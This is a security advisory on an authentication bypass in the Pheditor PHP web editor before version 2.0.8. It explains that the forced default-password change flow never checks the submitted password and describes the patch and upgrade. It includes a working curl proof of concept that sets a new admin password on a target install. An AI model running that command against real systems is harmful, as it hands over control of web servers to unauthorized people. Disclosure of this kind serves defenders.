critical · 10Jul 24, 2026

Pheditor: Authentication Bypass in Forced Password-Change Flow

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Pheditor's 'change default password' flow never checks whether the submitted password is actually correct, so anyone can set a new admin password and take over the editor without knowing the old one.

Packagepheditor/pheditor
Ecosystemcomposer
Affected< 2.0.8
Fixed in2.0.8
Pheditor: Authentication Bypass in Forced Password-Change Flow

The problem

Pheditor is a single-file PHP web editor. When the stored password constant still matches the SHA-512 hash of the string 'admin', the application forces a password-change prompt.

The gate condition checks only whether the stored value is the default. It does not verify that the value the user submitted in pheditor_password matches it. Any non-empty string in that field is enough to reach the password-change branch, set a new password, and receive an authenticated session.

Proof of concept

A working proof-of-concept for this issue in pheditor/pheditor, with the exact payload below.

bash
TARGET="https://victim.com/pheditor.php"

# Any non-empty string works; the submitted password is never verified
curl -c /tmp/j.txt \
  -d 'pheditor_password=anything' \
  -d 'pheditor_new_password=attacker123' \
  -d 'pheditor_confirm_password=attacker123' \
  "$TARGET" -L -s -o /dev/null

# Session is now authenticated as admin; password has been changed to attacker123

The vulnerable gate in pheditor.php (line 163 pre-patch) reads if (PASSWORD == hash('sha512', 'admin')). This checks the stored constant, not the submitted input, so $_POST['pheditor_password'] is never compared to PASSWORD before entering the change flow.

The patch adds $submitted_hash = hash('sha512', $_POST['pheditor_password']) and gates the branch on $submitted_hash === PASSWORD, meaning a caller must now prove knowledge of the current password before changing it.

The CWE is listed as CWE-1393 (Use of Default Credentials), but the deeper root cause is missing authentication on a sensitive code path: default-credential status was checked without verifying the credential itself.

The fix

Update pheditor/pheditor to version 2.0.8 (commit 0978bcda644832b67357340e2f271e32d86fdf86). The fix verifies that the SHA-512 hash of the submitted pheditor_password matches the stored PASSWORD constant before allowing the forced password-change branch to execute.

Reporter not attributed.

References: [1][2][3][4]

Related research